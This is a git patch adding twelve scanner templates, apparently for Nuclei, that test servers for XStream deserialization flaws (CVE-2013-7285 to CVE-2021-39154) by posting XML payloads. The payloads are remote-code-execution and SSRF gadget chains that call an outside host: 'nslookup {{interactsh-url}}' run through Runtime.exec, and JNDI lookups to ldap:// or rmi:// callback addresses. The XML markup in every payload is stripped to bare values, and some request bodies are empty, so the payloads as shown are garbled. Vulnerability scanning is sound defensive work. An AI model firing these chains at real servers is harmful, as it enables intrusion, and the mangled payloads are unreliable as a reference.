From d1cfaa0a7b76d14a4446b852758216fc0dc615f6 Mon Sep 17 00:00:00 2001
From: pwnhxl <718701810@qq.com>
Date: Sun, 12 Mar 2023 11:38:05 +0800
Subject: [PATCH] xstream-ssrf-rce
---
vulnerabilities/xstream/CVE-2013-7285.yaml | 36 ++++
vulnerabilities/xstream/CVE-2020-26217.yaml | 77 ++++++++
vulnerabilities/xstream/CVE-2020-26258.yaml | 44 +++++
vulnerabilities/xstream/CVE-2021-21344.yaml | 128 ++++++++++++
vulnerabilities/xstream/CVE-2021-21345.yaml | 85 ++++++++
vulnerabilities/xstream/CVE-2021-21351.yaml | 101 ++++++++++
vulnerabilities/xstream/CVE-2021-29505.yaml | 82 ++++++++
vulnerabilities/xstream/CVE-2021-39141.yaml | 197 +++++++++++++++++++
vulnerabilities/xstream/CVE-2021-39144 .yaml | 64 ++++++
vulnerabilities/xstream/CVE-2021-39146.yaml | 84 ++++++++
vulnerabilities/xstream/CVE-2021-39152.yaml | 49 +++++
vulnerabilities/xstream/CVE-2021-39154.yaml | 84 ++++++++
12 files changed, 1031 insertions(+)
create mode 100644 vulnerabilities/xstream/CVE-2013-7285.yaml
create mode 100644 vulnerabilities/xstream/CVE-2020-26217.yaml
create mode 100644 vulnerabilities/xstream/CVE-2020-26258.yaml
create mode 100644 vulnerabilities/xstream/CVE-2021-21344.yaml
create mode 100644 vulnerabilities/xstream/CVE-2021-21345.yaml
create mode 100644 vulnerabilities/xstream/CVE-2021-21351.yaml
create mode 100644 vulnerabilities/xstream/CVE-2021-29505.yaml
create mode 100644 vulnerabilities/xstream/CVE-2021-39141.yaml
create mode 100644 vulnerabilities/xstream/CVE-2021-39144 .yaml
create mode 100644 vulnerabilities/xstream/CVE-2021-39146.yaml
create mode 100644 vulnerabilities/xstream/CVE-2021-39152.yaml
create mode 100644 vulnerabilities/xstream/CVE-2021-39154.yaml
diff --git a/vulnerabilities/xstream/CVE-2013-7285.yaml b/vulnerabilities/xstream/CVE-2013-7285.yaml
new file mode 100644
index 0000000000..8d573ad2ca
--- /dev/null
+++ b/vulnerabilities/xstream/CVE-2013-7285.yaml
@@ -0,0 +1,36 @@
+id: CVE-2013-7285
+
+info:
+ name: CVE-2013-7285
+ author: pwnhxl
+ severity: high
+ description: The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that can execute arbitrary shell commands.
+ reference:
+ - http://x-stream.github.io/CVE-2013-7285.html
+ tags: cve,cve-2013,xstream,deserialization,rce
+
+requests:
+ - raw:
+ - |
+ POST / HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/xml
+
+
+ org.company.model.Contact
+
+
+
+ nslookup {{interactsh-url}}
+
+
+ start
+
+
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "dns"
diff --git a/vulnerabilities/xstream/CVE-2020-26217.yaml b/vulnerabilities/xstream/CVE-2020-26217.yaml
new file mode 100644
index 0000000000..9f63029d53
--- /dev/null
+++ b/vulnerabilities/xstream/CVE-2020-26217.yaml
@@ -0,0 +1,77 @@
+id: CVE-2020-26217
+
+info:
+ name: CVE-2020-26217
+ author: pwnhxl
+ severity: high
+ description: All versions until and including version 1.4.13 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist.
+ reference:
+ - https://x-stream.github.io/CVE-2020-26217.html
+ tags: cve,cve-2020,xstream,deserialization,rce
+
+requests:
+ - raw:
+ - |
+ POST / HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/xml
+
+
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "dns"
diff --git a/vulnerabilities/xstream/CVE-2020-26258.yaml b/vulnerabilities/xstream/CVE-2020-26258.yaml
new file mode 100644
index 0000000000..fbf5487e4e
--- /dev/null
+++ b/vulnerabilities/xstream/CVE-2020-26258.yaml
@@ -0,0 +1,44 @@
+id: CVE-2020-26258
+
+info:
+ name: CVE-2020-26258
+ author: pwnhxl
+ severity: high
+ description: The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in a server-side forgery request.
+ reference:
+ - https://x-stream.github.io/CVE-2020-26258.html
+ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26258
+ tags: cve,cve-2020,xstream,ssrf
+
+requests:
+ - raw:
+ - |
+ POST / HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/xml
+ Content-Length: 540
+
+
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "http"
diff --git a/vulnerabilities/xstream/CVE-2021-21344.yaml b/vulnerabilities/xstream/CVE-2021-21344.yaml
new file mode 100644
index 0000000000..2b42470f61
--- /dev/null
+++ b/vulnerabilities/xstream/CVE-2021-21344.yaml
@@ -0,0 +1,128 @@
+id: CVE-2021-21344
+
+info:
+ name: CVE-2021-21344
+ author: pwnhxl
+ severity: high
+ description: The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.
+ reference:
+ - https://x-stream.github.io/CVE-2021-21344.html
+ tags: cve,cve-2021,xstream,deserialization,rce
+
+requests:
+ - raw:
+ - |
+ POST / HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/xml
+
+
+
+
+
+ 2
+
+
+
+
+
+
+
+
+ com.sun.rowset.JdbcRowSetImpl
+
+
+
+
+ com.sun.rowset.JdbcRowSetImpl
+ getDatabaseMetaData
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ 1
+
+
+ UTF-8
+
+
+
+
+
+
+
+
+ 1008
+ true
+ 1000
+ 0
+ 2
+ 0
+ 0
+ 0
+ true
+ 1004
+ false
+ rmi://localhost:15000/CallRemoteMethod
+
+
+
+
+
+
+ -1
+ -1
+ -1
+ -1
+ -1
+ -1
+ -1
+ -1
+ -1
+ -1
+
+
+ foo
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3
+ javax.xml.ws.binding.attachments.inbound
+ javax.xml.ws.binding.attachments.inbound
+
+
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "dns"
diff --git a/vulnerabilities/xstream/CVE-2021-21345.yaml b/vulnerabilities/xstream/CVE-2021-21345.yaml
new file mode 100644
index 0000000000..aef662bdaa
--- /dev/null
+++ b/vulnerabilities/xstream/CVE-2021-21345.yaml
@@ -0,0 +1,85 @@
+id: CVE-2021-21345
+
+info:
+ name: CVE-2021-21345
+ author: pwnhxl
+ severity: high
+ description: All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
+ reference:
+ - https://x-stream.github.io/CVE-2021-21345.html
+ tags: cve,cve-2021,xstream,deserialization,rce
+
+requests:
+ - raw:
+ - |
+ POST / HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/xml
+ Content-Length: 2799
+
+
+
+
+
+ 2
+
+
+
+
+
+
+
+
+ com.sun.corba.se.impl.activation.ServerTableEntry
+
+
+
+
+ com.sun.corba.se.impl.activation.ServerTableEntry
+ verify
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ 1
+
+
+ UTF-8
+
+
+
+
+
+
+ nslookup {{interactsh-url}}
+
+
+
+
+
+
+
+
+
+ 3
+ javax.xml.ws.binding.attachments.inbound
+ javax.xml.ws.binding.attachments.inbound
+
+
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "dns"
diff --git a/vulnerabilities/xstream/CVE-2021-21351.yaml b/vulnerabilities/xstream/CVE-2021-21351.yaml
new file mode 100644
index 0000000000..362a88be6f
--- /dev/null
+++ b/vulnerabilities/xstream/CVE-2021-21351.yaml
@@ -0,0 +1,101 @@
+id: CVE-2021-21351
+
+info:
+ name: CVE-2021-21351
+ author: pwnhxl
+ severity: high
+ description: XStream uses a blocklist mechanism when parsing XML text which is utilized to defend against deserialization vulnerabilities, but in 1.4.15 and earlier, blocklists are incomplete and attackers could use javax.naming.ldap.Rdn$RdnEntry and javax.sql.rowset.BaseRowSet to make an JNDI injection and execute arbitrary commands finally.
+ reference:
+ - https://github.com/vulhub/vulhub/tree/master/xstream/CVE-2021-21351
+ - https://x-stream.github.io/CVE-2021-21351.html
+ - https://paper.seebug.org/1543/
+ tags: cve,cve-2021,xstream,deserialization,rce
+
+requests:
+ - raw:
+ - |
+ POST / HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/xml
+
+
+
+ ysomap
+
+
+
+ -10086
+
+ <__overrideDefaultParser>false
+ false
+ false
+
+
+
+
+
+ false
+ false
+
+
+
+
+ 1008
+ true
+ 1000
+ 0
+ 2
+ 0
+ 0
+ 0
+ true
+ 1004
+ false
+ rmi://{{interactsh-url}}/test
+
+
+
+
+
+
+
+
+
+ com.sun.rowset.JdbcRowSetImpl
+ setAutoCommit
+
+ boolean
+
+
+
+ false
+
+
+ false
+
+ false
+
+ -1
+ false
+ false
+
+ 1
+
+ 1
+ false
+
+
+
+ ysomap
+
+ test
+
+
+
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "dns"
diff --git a/vulnerabilities/xstream/CVE-2021-29505.yaml b/vulnerabilities/xstream/CVE-2021-29505.yaml
new file mode 100644
index 0000000000..038797ce97
--- /dev/null
+++ b/vulnerabilities/xstream/CVE-2021-29505.yaml
@@ -0,0 +1,82 @@
+id: CVE-2021-29505
+
+info:
+ name: CVE-2021-29505
+ author: pwnhxl
+ severity: high
+ description: All versions until and including version 1.4.16 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
+ reference:
+ - https://paper.seebug.org/1543/
+ - https://github.com/vulhub/vulhub/blob/master/xstream/CVE-2021-29505/README.zh-cn.md
+ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29505
+ tags: cve,cve-2021,xstream,deserialization,rce
+
+requests:
+ - raw:
+ - |
+ POST / HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/xml
+
+
+
+
+
+ 2
+
+ 3
+
+ 12345
+
+ com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content
+
+
+
+ 12345
+
+
+ true
+ SOAP_11
+
+
+ false
+
+
+
+
+ aa
+ aa
+
+
+
+
+
+ UnicastRef
+ {{interactsh-url}}
+ 1099
+ 0
+ 0
+ 0
+ 0
+ false
+
+
+ {{interactsh-url}}
+ 1099
+
+
+
+
+
+
+
+
+
+
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "dns"
diff --git a/vulnerabilities/xstream/CVE-2021-39141.yaml b/vulnerabilities/xstream/CVE-2021-39141.yaml
new file mode 100644
index 0000000000..728885285a
--- /dev/null
+++ b/vulnerabilities/xstream/CVE-2021-39141.yaml
@@ -0,0 +1,197 @@
+id: CVE-2021-39141
+
+info:
+ name: CVE-2021-39141
+ author: pwnhxl
+ severity: high
+ description: All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
+ reference:
+ - http://x-stream.github.io/CVE-2021-39141.html
+ tags: cve,cve-2021,xstream,deserialization,rce
+
+requests:
+ - raw:
+ - |
+ POST / HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/xml
+
+
+
+
+
+ 2
+
+ 3
+
+ java.lang.Comparable
+
+
+ false
+
+
+
+
+ java.lang.Comparable
+ compareTo
+
+ java.lang.Object
+
+
+
+
+
+ 0
+
+
+ PLAIN
+
+
+
+ false
+
+ int
+
+ hash
+ java.lang.String
+
+
+ false
+
+
+ hash
+
+
+
+ java.lang.String
+
+ javax.naming.InitialContext
+ doLookup
+
+ java.lang.String
+
+
+
+
+
+
+ serialPersistentFields
+
+ [Ljava.io.ObjectStreamField;
+
+ serialPersistentFields
+ java.lang.String
+
+
+
+
+ CASE_INSENSITIVE_ORDER
+
+ java.util.Comparator
+
+ CASE_INSENSITIVE_ORDER
+ java.lang.String
+
+
+
+
+ serialVersionUID
+
+ long
+
+ serialVersionUID
+ java.lang.String
+
+
+
+
+ value
+
+ [C
+
+ value
+ java.lang.String
+
+
+
+
+ hash
+
+ int
+
+
+
+
+
+
+ serialPersistentFields
+
+ [Ljava.io.ObjectStreamField;
+
+
+
+
+ CASE_INSENSITIVE_ORDER
+
+ java.util.Comparator
+
+
+
+
+ serialVersionUID
+
+ long
+
+
+
+
+ value
+
+ [C
+
+
+
+
+ hash
+
+
+
+ false
+ java.lang.String
+
+
+
+
+ java.lang.Object
+
+ false
+
+ false
+
+
+
+ false
+
+
+
+
+
+
+
+ false
+ false
+
+
+
+
+
+ ldap://{{interactsh-url}}/#evil
+
+
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "dns"
diff --git a/vulnerabilities/xstream/CVE-2021-39144 .yaml b/vulnerabilities/xstream/CVE-2021-39144 .yaml
new file mode 100644
index 0000000000..a52fe013e2
--- /dev/null
+++ b/vulnerabilities/xstream/CVE-2021-39144 .yaml
@@ -0,0 +1,64 @@
+id: CVE-2021-39144
+
+info:
+ name: CVE-2021-39144
+ author: pwnhxl
+ severity: high
+ description: All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
+ reference:
+ - http://x-stream.github.io/CVE-2021-39144.html
+ tags: cve,cve-2021,xstream,deserialization,rce
+
+requests:
+ - raw:
+ - |
+ POST / HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/xml
+ Content-Length: 1269
+
+
+
+
+
+ 2
+
+ 3
+
+ java.lang.Comparable
+
+ true
+ java.lang.Comparable
+
+
+
+ java.lang.Comparable
+ compareTo
+
+ java.lang.Object
+
+
+
+
+
+ java.lang.Runtime
+ exec
+
+ java.lang.String
+
+
+
+
+
+
+
+ nslookup {{interactsh-url}}
+
+
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "dns"
diff --git a/vulnerabilities/xstream/CVE-2021-39146.yaml b/vulnerabilities/xstream/CVE-2021-39146.yaml
new file mode 100644
index 0000000000..19c30e5994
--- /dev/null
+++ b/vulnerabilities/xstream/CVE-2021-39146.yaml
@@ -0,0 +1,84 @@
+id: CVE-2021-39146
+
+info:
+ name: CVE-2021-39146
+ author: pwnhxl
+ severity: high
+ description: The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.
+ reference:
+ - https://x-stream.github.io/CVE-2021-39146.html
+ tags: cve,cve-2021,xstream,deserialization,rce
+
+requests:
+ - raw:
+ - |
+ POST / HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/xml
+
+
+
+ test
+
+
+
+
+ 0.75
+ 525
+
+ 700
+ 0
+
+
+
+ zh_CN
+
+
+
+
+
+
+
+
+
+
+ 0.75
+ 525
+
+ 700
+ 1
+ lazyValue
+
+ javax.naming.InitialContext
+ doLookup
+
+ ldap://{{interactsh-url}}/#evil
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ test
+
+ test
+
+
+
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "dns"
diff --git a/vulnerabilities/xstream/CVE-2021-39152.yaml b/vulnerabilities/xstream/CVE-2021-39152.yaml
new file mode 100644
index 0000000000..b834d869a1
--- /dev/null
+++ b/vulnerabilities/xstream/CVE-2021-39152.yaml
@@ -0,0 +1,49 @@
+id: CVE-2021-39152
+
+info:
+ name: CVE-2021-39152
+ author: pwnhxl
+ severity: high
+ description: The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in a server-side forgery request.
+ reference:
+ - https://x-stream.github.io/CVE-2021-39152.html
+ tags: cve,cve-2021,xstream,ssrf
+
+requests:
+ - raw:
+ - |
+ POST / HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/xml
+
+
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "http"
diff --git a/vulnerabilities/xstream/CVE-2021-39154.yaml b/vulnerabilities/xstream/CVE-2021-39154.yaml
new file mode 100644
index 0000000000..ac94171d02
--- /dev/null
+++ b/vulnerabilities/xstream/CVE-2021-39154.yaml
@@ -0,0 +1,84 @@
+id: CVE-2021-39154
+
+info:
+ name: CVE-2021-39154
+ author: pwnhxl
+ severity: high
+ description: All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
+ reference:
+ - https://x-stream.github.io/CVE-2021-39154.html
+ tags: cve,cve-2021,xstream,deserialization,rce
+
+requests:
+ - raw:
+ - |
+ POST / HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/xml
+
+
+
+ ysomap
+
+
+
+
+ 0.75
+ 525
+
+ 700
+ 0
+
+
+
+ zh_CN
+
+
+
+
+
+
+
+
+
+
+ 0.75
+ 525
+
+ 700
+ 1
+ ggg
+
+ javax.naming.InitialContext
+ doLookup
+
+ ldap://{{interactsh-url}}/CallRemoteMethod
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ysomap
+
+ test
+
+
+
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "dns"